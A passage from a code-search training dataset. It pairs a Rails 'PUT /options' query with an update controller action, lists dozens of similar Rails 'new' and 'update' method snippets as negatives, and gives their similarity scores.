new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @mainoption = Mainoption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mainoption }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recurso }\n end\n end", "def new\n @protocolo = Protocolo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @protocolo }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def new\n @config_file = ConfigFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @config_file }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new\n respond_to do |format|\n format.html { render :layout => 'application' }\n format.xml { render :xml => @recommand }\n end\n end", "def new\n @curta = Curta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @curta }\n end\n end", "def new\n @conf = Conf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conf }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "def new\n @peca = Peca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peca }\n end\n end", "def new\n @setting = Setting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @setting }\n end\n end", "def new\n @setting = Setting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @setting }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end", "def new\n @pool = Pool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pool }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end", "def new\n @lotto_type = LottoType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lotto_type }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @eco_parameter }\n end\n end", "def new\n @car_option = CarOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @car_option }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\n @domain = Domain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @domain }\n end\n end", "def new\n @periodista = Periodista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @periodista }\n end\n end", "def new\n @descriptor_generico = DescriptorGenerico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @descriptor_generico }\n end\n end", "def new\n @add_on = AddOn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_on }\n end\n end", "def new\n @seta = Seta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seta }\n end\n end", "def new\n @subway = Subway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subway }\n end\n end", "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end", "def new\n @permiso = Permiso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @permiso }\n end\n end", "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @service_length = ServiceLength.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_length }\n end\n end", "def new\n @radio = Radio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @radio }\n end\n end", "def new\n @radio = Radio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @radio }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll }\n end\n end", "def new\n \n load_quiz_section_and_question\n @option = Option.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @option }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end" ]
[ "0.7455853", "0.73404807", "0.7013586", "0.6895405", "0.6882285", "0.6882285", "0.68157756", "0.68148303", "0.67561", "0.674072", "0.67350537", "0.6730547", "0.6524446", "0.6522662", "0.6495112", "0.6409164", "0.6382452", "0.6370532", "0.6348015", "0.63223034", "0.63173157", "0.6306028", "0.6298265", "0.6290897", "0.62703246", "0.6238552", "0.62332463", "0.620496", "0.6197624", "0.6192108", "0.6190418", "0.61793405", "0.6175291", "0.61623216", "0.6157472", "0.615486", "0.6153112", "0.6147984", "0.6137121", "0.613428", "0.6127457", "0.6099655", "0.6097584", "0.60959804", "0.6088551", "0.60830444", "0.6070968", "0.6058334", "0.6057472", "0.60492915", "0.6046059", "0.6046059", "0.6045486", "0.6045486", "0.60454714", "0.6040306", "0.60339373", "0.60334575", "0.60334575", "0.6026025", "0.6024752", "0.60238206", "0.6021175", "0.6019892", "0.6017742", "0.60176414", "0.60158676", "0.60156214", "0.6010191", "0.6006019", "0.6006019", "0.60033906", "0.5999582", "0.5996698", "0.59806055", "0.59789807", "0.5977637", "0.5970648", "0.5970648", "0.5968075", "0.59640086", "0.59620285", "0.5961381", "0.5955713", "0.594977", "0.5949742", "0.5944247", "0.59411424", "0.59400403", "0.59393317", "0.5937706", "0.59372544", "0.5935851", "0.5935851", "0.5933945", "0.59323335", "0.5927401", "0.5927401", "0.5927401" ]
0.7571324
1
POST /options POST /options.xml
def create count = Property.find(params[:property_id]).options.count params[:option][:property_id] = params[:property_id] params[:option][:sequence] = count @option = Option.create(params[:option]) @property_id = params[:property_id] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post options\n rest_request({ method: :post }.merge(options))\n end", "def post options\n rest_request({ method: :post }.merge(options))\n end", "def options!\n request! :options\n end", "def options\n\t\t# we don't support sending a payload in options' body.\n\t\treq = Net::HTTP::Options.new(@uri.path)\n\t\tdo_http req\n\tend", "def set_config(options)\n return @api.do_request(\"POST\", get_base_api_path() + \"/config\", options)\n end", "def post(options = {})\n url = build_url(options)\n ret = post_response(url, options)\n ret\n end", "def option_params\n params.require(:option).permit(:name, :value)\n end", "def options_to_patch_request(options)\n json = []\n Array[options.delete(:remove)].flatten.compact.each { |i| json << {'op' => 'remove', 'path' => \"/#{camelize_words(i)}\"} }\n options.each { |k, v| json << {'op' => 'add', 'path' => \"/#{camelize_words(k)}\", 'value' => v} }\n json.collect { |i| Hash[i.each_pair.to_a] }\n end", "def options=(opts)\n @parsed_options = opts\n write_attribute :options, @parsed_options.to_json\n end", "def add_options; end", "def post(path, options={})\n request :post, path, options\n end", "def option_params\n params.require(:option).permit(:name, :description, :value_x, :value_y)\n end", "def settings\n request(Resources::RESOURCE_SETTINGS, HTTP_METHOD_POST)\n end", "def create\n @opt = Opt.new(params[:opt])\n\n respond_to do |format|\n if @opt.save\n flash[:notice] = 'Opt was successfully created.'\n format.html { redirect_to(@opt) }\n format.xml { render :xml => @opt, :status => :created, :location => @opt }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @opt.errors, :status => :unprocessable_entity }\n end\n end\n end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options() end", "def options(request, response)\n OK\n end", "def process_options(cli, request)\r\n vprint_status(\"OPTIONS #{request.uri}\")\r\n headers = {\r\n 'MS-Author-Via' => 'DAV',\r\n 'DASL' => '<DAV:sql>',\r\n 'DAV' => '1, 2',\r\n 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',\r\n 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',\r\n 'Cache-Control' => 'private'\r\n }\r\n resp = create_response(207, \"Multi-Status\")\r\n headers.each_pair {|k,v| resp[k] = v }\r\n resp.body = \"\"\r\n resp['Content-Type'] = 'text/xml'\r\n cli.send_response(resp)\r\n end", "def post_update!(options = {})\n rsp = post(prepare_update_xml(options))\n success?(rsp.body) or log_error(rsp.body)\n end", "def create\n @option = Option.new(params[:option])\n @option.question_id = @question.id\n\n respond_to do |format|\n if @option.save\n flash[:notice] = 'Option was successfully created.'\n format.html { redirect_to(question_option_path(@question, @option)) }\n format.xml { render :xml => @option, :status => :created, :location => @option }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, options = T.unsafe(nil)); end", "def export_option\n s = \"\"\n output_xml_node = get_xml_node(\"SettingsOptions\");\n\n s << c(output_xml_node,\"options_displacement\",\"geom_displacement\")\n # s << cnv(\".\")\n s << c(output_xml_node,\"options_dontRenderImage\",\"gi_dontRenderImage\")\n s << c(output_xml_node,\"options_displacement\",\"geom_displacement\")\n s << c(output_xml_node,\"options_filterMaps\",\"mtl_filterMaps\")\n s << c(output_xml_node,\"options_geom_backfaceCull\",\"geom_backfaceCull\")\n s << c(output_xml_node,\"options_glossyEffects\",\"mtl_glossy\")\n s << c(output_xml_node,\"options_glossyEffects\",\"mtl_glossy\")\n\n\n# s << c(output_xml_node,\"options_defaultLights\",\"default\")\n# s << c(output_xml_node,\"options_displacement\",\"default\")\n# s << c(output_xml_node,\"options_dontRenderImage\",\"default\")\n# s << c(output_xml_node,\"options_filterMaps\",\"default\")\n# s << c(output_xml_node,\"options_geom_backfaceCull\",\"default\")\n# s << c(output_xml_node,\"options_glossyEffects\",\"default\")\n# s << c(output_xml_node,\"options_hiddenLights\",\"default\")\n# s << c(output_xml_node,\"options_lights\",\"default\")\n# .options_limitDepth (alias for options_overrideDepth_on)\n# s << c(output_xml_node,\"options_maps\",\"default\")\n# .options_maxDepth (alias for options_overrideDepth)\n# s << c(output_xml_node,\"options_maxRayIntensity\",\"default\")\n# s << c(output_xml_node,\"options_maxRayIntensity_on (options_clampRayIntensity)\",\"default\")\n# s << c(output_xml_node,\"options_mtl_filterMaps_indirect\",\"default\")\n# s << c(output_xml_node,\"options_overrideDepth\",\"default\")\n# s << c(output_xml_node,\"options_overrideDepth_on\",\"default\")\n# s << c(output_xml_node,\"options_overrideMtl_mtl\",\"default\")\n# s << c(output_xml_node,\"options_overrideMtl_on\",\"default\")\n# s << c(output_xml_node,\"options_probabilisticLights\",\"default\")\n# s << c(output_xml_node,\"options_probabilisticLightsCount\",\"default\")\n# s << c(output_xml_node,\"options_ray_bias\",\"default\")\n# s << c(output_xml_node,\"options_reflectionRefraction\",\"default\")\n# s << c(output_xml_node,\"options_shadows\",\"default\")\n# s << c(output_xml_node,\"options_showGIOnly\",\"default\")\n# s << c(output_xml_node,\"options_transpCutoff\",\"default\")\n# s << c(output_xml_node,\"options_transpMaxLevels\",\"default\")\n# s << c(output_xml_node,\"options_use3dsMaxPhotometricUnits\",\"default\")\n# s << c(output_xml_node,\"options_useLegacyModels\",\"default\")\n# s << c(output_xml_node,\"options_ui_view\",\"default\")\n\n puts s\n\nend", "def post(path, options = {})\n request(:post, path, options)\n end", "def post(path, options = {})\n request(:post, path, options)\n end", "def post(path, options = {})\n request(:post, path, options)\n end", "def options\n data[:options]\n end", "def process_options\n \n end", "def post(path, options = {})\n request(:post, path, options)\n end", "def post(path, options = {})\n request(:post, path, options)\n end", "def post(path, options = {})\n request(:post, path, options)\n end", "def options(opt)\n end", "def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end", "def option_params\n params.require(:option).permit(:auto_complete, :validate_address, :pobox_warning, :streetnum_warning, :domain)\n end", "def option_params\n params.permit(:name, :value)\n end", "def options; [] end", "def create\n @survey_option = SurveyOption.new(params[:survey_option])\n\n respond_to do |format|\n if @survey_option.save\n format.html { redirect_to(@survey_option, :notice => 'Survey option was successfully created.') }\n format.xml { render :xml => @survey_option, :status => :created, :location => @survey_option }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def send options\n nuntium.send_ao(options)\n end", "def options(changes = {}, optionname = nil, optionvalue = nil, reset = false)\n form_data = { 'action' => 'options', 'token' => get_options_token }\n\n if changes.present?\n form_data['change'] = changes.map { |key, value| \"#{key}=#{value}\" }.join('|')\n end\n\n if optionname.present?\n form_data[optionname] = optionvalue\n end\n\n if reset\n form_data['reset'] = true\n end\n\n res, dummy = make_api_request(form_data)\n res\n end", "def serialize_options(options)\n options.collect {|k,v| \"#{k}=#{CGI.escape(v.to_s)}\"}.join('&')\n end", "def create\n @option = @question.options.new(option_params)\n authorize(@option)\n respond_to do |format|\n if @option.save\n format.html { redirect_to question_options_url(@option.question), notice: \"Option was successfully created.\" }\n format.json { render :show, status: :created, location: question_options_url(@option.question) }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path, options={}, format=format)\n request(:post, path, options, format)\n end" ]
[ "0.66530377", "0.66530377", "0.6445932", "0.6010732", "0.5971419", "0.58164084", "0.57869315", "0.57353294", "0.56707245", "0.5656248", "0.563952", "0.56392634", "0.5602891", "0.55980694", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.5586404", "0.55795294", "0.55715567", "0.55589205", "0.5497179", "0.5492607", "0.54918057", "0.5490687", "0.54783225", "0.54783225", "0.54783225", "0.54696625", "0.54676753", "0.54666764", "0.54666764", "0.54666764", "0.54632986", "0.54618734", "0.54524076", "0.5449106", "0.5443012", "0.5442537", "0.54337776", "0.5419398", "0.54179424", "0.54080373", "0.5401326" ]
0.0
-1
PUT /options/1 PUT /options/1.xml
def update @option = Option.find(params[:id]) respond_to do |format| if @option.update_attributes(params[:option]) notify :notice, 'Option was successfully updated.' format.html { redirect_to(@option) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @option.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n @option = Option.find(params[:id])\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n format.html { redirect_to(@option, :notice => 'Options were successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\t@option = Option.find(params[:id])\n\n\trespond_to do |format|\n\t if @option.update_attributes(params[:option])\n\t\tformat.html { redirect_to(@option, :notice => 'Options were successfully updated.') }\n\t\tformat.xml { head :ok }\n\t else\n\t\tformat.html { render :action => \"edit\" }\n\t\tformat.xml { render :xml => @option.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end", "def put options\n rest_request({ method: :put }.merge(options))\n end", "def put options\n rest_request({ method: :put }.merge(options))\n end", "def update\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n flash[:notice] = 'Option was successfully updated.'\n format.html { redirect_to(question_option_path(@question, @option)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, options={})\n request :put, path, options\n end", "def update\n @opt = Opt.find(params[:id])\n\n respond_to do |format|\n if @opt.update_attributes(params[:opt])\n flash[:notice] = 'Opt was successfully updated.'\n format.html { redirect_to(@opt) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @opt.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, options={})\n send_request 'put', path, options\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put(path, options={}, format=format)\n request(:put, path, options, format)\n end", "def update\n @option = Option.find(params[:id])\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @option = Option.find(params[:id])\n\n respond_to do |format|\n if @option.update_attributes(params[:option])\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @auto_option = AutoOption.find(params[:id])\n\n respond_to do |format|\n if @auto_option.update_attributes(params[:auto_option])\n format.html { redirect_to(@auto_option, :notice => 'AutoOption was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @auto_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end", "def update(options = {})\n @client.put(self.link(:edit), self.to_json, options)\n end", "def update\n @question_option = QuestionOption.find(params[:id])\n\n respond_to do |format|\n if @question_option.update_attributes(params[:question_option])\n format.html { redirect_to(@question_option, :notice => 'Question option was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @system_option = SystemOption.find(params[:id])\n\n respond_to do |format|\n if @system_option.update_attributes(params[:system_option])\n flash[:notice] = 'SystemOption was successfully updated.'\n format.html { redirect_to(@system_option) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @system_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @question_option = QuestionOption.find(params[:id])\n check_forged_path\n\n respond_to do |format|\n if @question_option.update_attributes(params[:question_option])\n format.json { head :ok }\n format.xml { head :ok }\n else\n format.json { render :json => @question_option.errors.to_json }\n format.xml { render :xml => @question_option.errors.to_xml }\n end\n end\n end", "def put(path, options = {}, raw = false)\n request(:put, path, options, raw)\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to sentence_options_path(@option.sentence), notice: 'option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, request_options = {}, resource_options = {})\n response(:put, resource(resource_options)[path], request_options)\n end", "def put(path, options={}, raw=false)\n request(:put, path, options, raw)\n end", "def update\n @survey_option = SurveyOption.find(params[:id])\n\n respond_to do |format|\n if @survey_option.update_attributes(params[:survey_option])\n format.html { redirect_to(@survey_option, :notice => 'Survey option was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @survey_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to question_options_url(@option.question), notice: \"Option was successfully updated.\" }\n format.json { render :show, status: :ok, location: question_options_url(@option.question) }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, options = nil)\n add(path, options).put\n end", "def perform_put(path, options = {})\n perform_request(:put, path, options)\n end", "def update\n @auto_option = AutoOption.find(params[:id])\n\n respond_to do |format|\n if @auto_option.update_attributes(params[:auto_option])\n format.html { redirect_to @auto_option, notice: 'Auto option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auto_option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_configuration(xml, options = {})\n client = extract_client!(options)\n\n # The Artifactory api requires a content type of 'application/xml'.\n # See http://bit.ly/1l2IvZY\n headers = { \"Content-Type\" => \"application/xml\" }\n client.post(\"/api/system/configuration\", xml, headers)\n end", "def options!\n request! :options\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def put_update(options = {})\n options[:id] ||= @website.id\n options[:website] ||= @attributes\n\n put :update,options\n end", "def create(options=nil)\n request(:put, nil, nil, options)\n end", "def put(path, options = {})\n request(:put, parse_query_and_convenience_headers(path, options))\n end", "def create(options = nil)\n request(:put, nil, nil, options)\n end", "def post_update!(options = {})\n rsp = post(prepare_update_xml(options))\n success?(rsp.body) or log_error(rsp.body)\n end", "def update\n @questions_option = QuestionsOption.find(params[:id])\n\n respond_to do |format|\n if @questions_option.update_attributes(params[:questions_option])\n format.html { redirect_to @questions_option, notice: 'Questions option was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questions_option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item_option = ItemOption.find(params[:id])\n\n respond_to do |format|\n if @item_option.update_attributes(params[:item_option])\n flash[:notice] = 'ItemOption was successfully updated.'\n format.html { redirect_to(@item_option) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_option.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @menu = \"option\"\n @board = \"option\"\n @section = \"edit\"\n \n @option = Option.get(params[:id])\n \n @option.name = params[:option][:name]\n @option.priority = params[:option][:priority].to_i\n \n if @option.save\n redirect_to (admin_option_url)\n else\n render 'option'\n end\n\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to @option, notice: 'Option was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n respond_to do |format|\n if @option.update(option_params)\n format.html { redirect_to edit_question_path(@option.question), notice: 'Option was successfully updated.' }\n format.json { render :show, status: :ok, location: @option }\n else\n format.html { render :edit }\n format.json { render json: @option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @system_option.update(system_option_params)\n format.html { redirect_to([:admin, @system], notice: 'System Option was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated system option: #{@system_option.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @system_option.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def update!(**args)\n @options = args[:options] if args.key?(:options)\n end", "def put(url, resource_name, options = {})\n build_response(resource_name) do\n connection.put do |req|\n req.url url\n req.body = options.to_json\n end\n end\n end", "def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end", "def update\n @procedure = Procedure.find(params[:id])\n @options = Option.new\n @types = Type.new\n respond_to do |format|\n if @procedure.update_attributes(params[:procedure])\n format.html { redirect_to \"/procedures\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @procedure.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(path, **options)\n execute :put, path, options\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def put(uri, options = T.unsafe(nil)); end", "def put(data, options={})\n @hal_client.put(href, data, options).tap do\n reset\n end\n end", "def put!\n request! :put\n end", "def update\n @option_value = OptionValue.find(params[:id])\n\n respond_to do |format|\n if @option_value.update_attributes(params[:option_value])\n format.html { redirect_to @option_value, notice: 'Option value was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @option_value.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, data, options = {})\n uri = build_uri(path, options)\n\n request = Net::HTTP::Put.new(uri.request_uri)\n set_authorisation_header(request)\n request.set_form_data(data)\n\n response = https_client(uri).request(request)\n end", "def update(options={})\n send(run_method, %{sh -c \"#{APT_GET} -qy update\"}, options)\n end", "def update_option_content\n option_params = params.require(:option).permit(:id, :content)\n\n render json: Option.update_option_content(option_params)\n end", "def set_options(options)\n @ole.SetOptions(options)\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update_service(id, options={})\n self.class.put(\"/services/#{id}.json?apikey=#{apikey}\", :query => {:service => options}, :body => {})\n end", "def update(name, type, options = {})\n Utils.stringify_keys!(options)\n path = \"/projects/#{project.name}/resources/#{name}\"\n\n headers = build_create_base_headers(name, type, options)\n body = build_create_base_body(options)\n\n !!client.put(path, headers: headers, body: body)\n end", "def put(path, options = {}, &block)\n map(path, options, :put, &block)\n end", "def put(path, options = {}, signature = false, raw = false, unformatted = false, no_response_wrapper = self.no_response_wrapper, signed = sign_requests)\n request(:put, path, options, signature, raw, unformatted, no_response_wrapper, signed)\n end", "def save(request)\n raise ArgumentError, \"PUT does not accept options\" unless request.options.empty?\n update(request) || create(request)\n end", "def set_option\n @option = Option.find params[:id]\n end", "def destroy\n @option = Option.find(params[:id])\n @option.destroy\n\n respond_to do |format|\n format.html { redirect_to(options_url) }\n format.xml { head :ok }\n end\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def set_option\n @option = Option.find(params[:id])\n end", "def update\n @poll_option = PollOption.find(params[:id])\n\n respond_to do |format|\n if @poll_option.update_attributes(params[:poll_option])\n format.html { redirect_to(@poll_option, :notice => 'PollOption was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { 